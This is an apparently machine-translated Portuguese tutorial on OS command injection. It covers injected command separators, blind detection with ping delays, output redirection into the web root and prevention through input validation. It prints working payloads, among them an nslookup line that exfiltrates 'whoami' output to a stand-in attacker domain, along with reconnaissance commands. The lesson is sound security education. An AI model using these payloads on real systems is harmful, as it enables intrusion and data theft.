nesta secção, vamos explicar o que é a injeção de comando OS, descrever como vulnerabilidades podem ser detectadas e Exploradas, soletrar alguns comandos e técnicas úteis para diferentes sistemas operacionais, e resumir como prevenir a injeção de comando OS.
- o que é a injeção de comando OS?
- executando comandos arbitrários
- comandos úteis
- Cega OS comandos vulnerabilidades de injeção
- detectar a injecção de comando blind OS usando atrasos de tempo
- explorando a injecção de comando blind OS, redireccionando a saída
- Formas de injetar OS comandos
- como prevenir ataques de injeção de comando do sistema operacional
o que é a injeção de comando OS?
injeção de comando OS (também conhecida como injeção shell) é uma vulnerabilidade de segurança web que permite que um atacante execute comandos de Sistema Operacional arbitrário (OS) no servidor que está executando uma aplicação, e normalmente compromete totalmente a aplicação e todos os seus dados. Muitas vezes, um atacante pode alavancar uma vulnerabilidade de injeção de comando do sistema operacional para comprometer outras partes da infra-estrutura de hospedagem, explorando relações de confiança para rodar o ataque para outros sistemas dentro da organização.
executando comandos arbitrários
considere uma aplicação de compras que permite ao utilizador ver se um item está armazenado numa determinada loja. Esta informação é acessada através de um URL como:
https://insecure-website.com/stockStatus?productID=381&storeID=29
para fornecer a informação de estoque, a aplicação deve consultar vários sistemas legados. Por razões históricas, a funcionalidade é implementada chamando para um comando shell com o produto e armazenar IDs como argumentos:
stockreport.pl 381 29
este comando produz o estado de estoque para o item especificado, que é devolvido ao usuário.
Desde que o aplicativo implementa sem defesas contra OS comando de injeção, um invasor pode enviar a entrada a seguir para executar um comando arbitrário:
& echo aiwefwlguh &
Se esta entrada é apresentado no productID
parâmetro, o comando executado pelo aplicativo:
stockreport.pl & echo aiwefwlguh & 29
O echo
comando simplesmente faz com que o fornecido seqüência de caracteres a ser abordado na saída, e é uma útil forma de teste para alguns tipos de sistema operacional de comando de injeção. O caractere &
é um separador de comandos shell, e assim o que é executado é na verdade três comandos separados um após o outro. Como resultado, a saída devolvida ao usuário é:
Error - productID was not provided
aiwefwlguh
29: command not found
as três linhas de saída demonstram que:
- o comando original
stockreport.pl
foi executado sem os seus argumentos esperados, e assim devolveu uma mensagem de erro. - o comando injetado
echo
foi executado, e a cadeia fornecida foi ecoada na saída. - o argumento original
29
foi executado como um comando, o que causou um erro.
colocar o separador de comando adicional &
após o comando injectado é geralmente útil porque separa o comando injectado de qualquer coisa que se segue ao ponto de injecção. Isto reduz a probabilidade de que o que se segue impeça o comando injectado de executar.
comandos úteis
quando você identificou uma vulnerabilidade de injeção de comando do sistema operacional, é geralmente útil executar alguns comandos iniciais para obter informações sobre o sistema que você comprometeu. Abaixo está um resumo de alguns comandos que são úteis em plataformas Linux e Windows:
Finalidade do comando | Linux | Windows |
---|---|---|
Nome do utilizador actual | whoami |
whoami |
sistema Operacional | uname -a |
ver |
configuração de Rede | ifconfig |
ipconfig /all |
ligações de Rede | netstat -an |
netstat -an |
processos em Execução | ps -ef |
tasklist |
Cega OS comandos vulnerabilidades de injeção
Muitas instâncias de injeção de comando do sistema operacional são vulnerabilidades cegas. Isto significa que a aplicação não devolve a saída do comando dentro da sua resposta HTTP. Vulnerabilidades cegas ainda podem ser exploradas, mas diferentes técnicas são necessárias.
considere um site que permite aos usuários enviar feedback sobre o site. O usuário entra em seu endereço de E-mail e mensagem de feedback. O aplicativo do lado do servidor, em seguida, gera um e-mail para um administrador do site contendo o feedback. Para fazer isso, ele chama para o programa mail
com os detalhes enviados. Por exemplo:
mail -s "This site is great" -aFrom:[email protected] [email protected]
a saída do comando mail
(se existir) não é devolvida nas respostas da aplicação, e assim usando a carga echo
não seria eficaz. Nesta situação, você pode usar uma variedade de outras técnicas para detectar e explorar uma vulnerabilidade.
detectar a injecção de comando blind OS usando atrasos de tempo
pode usar um comando injectado que irá despoletar um atraso de tempo, permitindo-lhe confirmar que o comando foi executado com base no tempo que a aplicação demora a responder. O comando ping
é uma forma eficaz de o fazer, pois permite-lhe indicar o número de pacotes ICMP a enviar e, por conseguinte, o tempo necessário para que o comando execute:
& ping -c 10 127.0.0.1 &
este comando fará com que a aplicação localize o seu adaptador de rede de loopback por 10 segundos.
explorando a injecção de comando blind OS, redireccionando a saída
pode redireccionar a saída do comando injectado para um ficheiro dentro da raiz da web que poderá então recuperar usando o seu navegador. Por exemplo, se a aplicação serve recursos estáticos a partir da localização do sistema de arquivos /var/www/static
, então você pode enviar a seguinte entrada:
& whoami > /var/www/static/whoami.txt &
o carácter >
envia o resultado do comando whoami
para o ficheiro especificado. Você pode então usar o seu navegador para obter https://vulnerable-website.com/whoami.txt
para recuperar o arquivo, e ver a saída do comando injectado. Pode utilizar um comando injectado que desencadeará uma interacção fora de banda com um sistema que controla, utilizando técnicas OAST. Por exemplo:
& nslookup kgji2ohoyw.web-attacker.com &
esta carga útil usa o comando nslookup
para causar uma pesquisa DNS para o domínio especificado. O atacante pode monitorar a pesquisa especificada ocorrendo, e assim detectar que o comando foi injetado com sucesso.
O fora-de-banda canal também fornece uma maneira fácil para a evasão e a saída de injetado comandos:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Isso fará com que uma pesquisa de DNS para o domínio do invasor contendo o resultado da whoami
comando:
wwwuser.kgji2ohoyw.web-attacker.com
Formas de injetar OS comandos
Uma variedade de metacaracteres shell pode ser usado para executar OS comandos de ataques de injeção.
um número de caracteres funcionam como separadores de comandos, permitindo que os comandos sejam acorrentados juntos. Os seguintes separadores de comandos trabalham em sistemas baseados em Windows e Unix:
-
&
-
&&
-
|
-
||
O seguinte comando separadores de trabalho apenas em sistemas baseados em Unix:
-
;
- quebra de linha (
0x0a
ou\n
)
Em sistemas baseados em Unix, você também pode usar aspas invertidas ou o dólar de caracteres para executar inline execução de um comando injetado dentro do comando original:
-
`
comando injetado`
-
$(
comando injetado)
Nota-se que os diferentes metacaracteres shell têm sutilmente diferentes comportamentos que podem afetar se eles trabalham em determinadas situações, e se eles permitem em banda de recuperação de comando de saída ou são úteis apenas para cegos exploração.
às vezes, a entrada que você controla aparece dentro das aspas no comando original. Nesta situação, você precisa terminar o contexto Citado (usando "
ou '
) antes de usar o metacaracters shell adequado para injectar um novo comando.
como prevenir ataques de injeção de comando do sistema operacional
de longe a maneira mais eficaz de prevenir vulnerabilidades de injeção de comando do sistema operacional é nunca chamar os comandos do sistema operacional a partir do código de camada de Aplicação. Em praticamente todos os casos, existem formas alternativas de implementar a funcionalidade necessária usando APIs de plataforma mais segura.
se for considerado inevitável invocar comandos do sistema operacional com entrada fornecida pelo utilizador, então deve ser realizada uma validação forte da entrada. Alguns exemplos de validação eficaz incluem::
- validando contra uma lista branca de valores permitidos.
- validando que a entrada é um número.
- validando que a entrada contém apenas caracteres alfanuméricos, nenhuma outra sintaxe ou espaço em branco.
Nunca tente higienizar a entrada escapando metacharacters shell. Na prática, isso é muito propenso a erros e vulnerável a ser contornado por um atacante habilidoso.